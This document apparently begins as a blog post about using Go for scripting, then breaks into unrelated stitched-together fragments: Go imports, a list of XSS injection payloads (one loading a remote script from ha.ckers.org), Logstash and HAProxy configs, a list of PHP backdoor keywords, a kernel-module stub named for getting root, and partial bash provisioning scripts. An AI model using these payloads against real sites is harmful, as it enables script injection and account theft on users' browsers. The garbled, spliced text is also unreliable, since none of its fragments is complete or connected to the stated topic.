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The Case For Go

Story: Writing Scripts with Go

This is a story about how I tried to use Go for scripting. In this story, I’ll discuss the need for a Go script, how we would expect it to behave and the possible implementations; During the discussion I’ll deep dive to scripts, shells, and shebangs. Finally, we’ll discuss solutions that will make Go scripts work.

Why Go is good for scripting?

While python and bash are popular scripting languages, C, C++ and Java are not used for scripts at all, and some languages are somewhere in between.

	package main

	import (
	"context"
	"flag"
	"fmt"
	"log"
	"net/http"
	"os"
	"os/signal"

	';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
	'';!--"<XSS>=&{()}
	0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
	<script/src=data:,alert()>
	<marquee/onstart=alert()>
	<video/poster/onerror=alert()>
	<isindex/autofocus/onfocus=alert()>
	<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
	<IMG SRC="javascript:alert('XSS');">
	<IMG SRC=javascript:alert('XSS')>

	input {
	syslog {
	type => "haproxy-access"
	port => 514
	}
	}

	filter {
	grok {
	type => "haproxy-access"

	# HAProxy config to block /wp-login.php and wp-admin POST method on wordpress webserver
	global
	log 127.0.0.1 local0
	log 127.0.0.1 local1 notice
	#log loghost local0 info
	maxconn 25000
	#debug
	#quiet
	user prod
	group prod

	- hosts: www_servers
	user: ubuntu
	sudo: yes
	vars:
	folder: /usr/share/nginx/html
	backdoor_keywords:
	- "FilesMan" # OK
	- "<?php \\${" # OK
	- 'mail(stripslashes(' # OK
	- "<?php \\$array = array(" # OK

	#include <linux/module.h> /* Needed by all modules */
	#include <linux/kernel.h> /* Needed for KERN_INFO */
	#include <linux/init.h> /* Needed for the macros */

	/* For our shell ^_^ */
	#include<linux/kmod.h>

	int get_root (void)
	{

	#!/bin/bash

	NAME=node0

	cat <<EOF > user-data
	#!/bin/bash

	echo "fedora:fedora" \| chpasswd
	yum -y update

	#!/bin/bash

	if ! [ $# -eq 1 ]; then
	echo "Usage: $0 <node-name>"
	exit 1
	fi

	# Make sure you have all dependencies:
	# yum -y install libguestfs-tools virt-install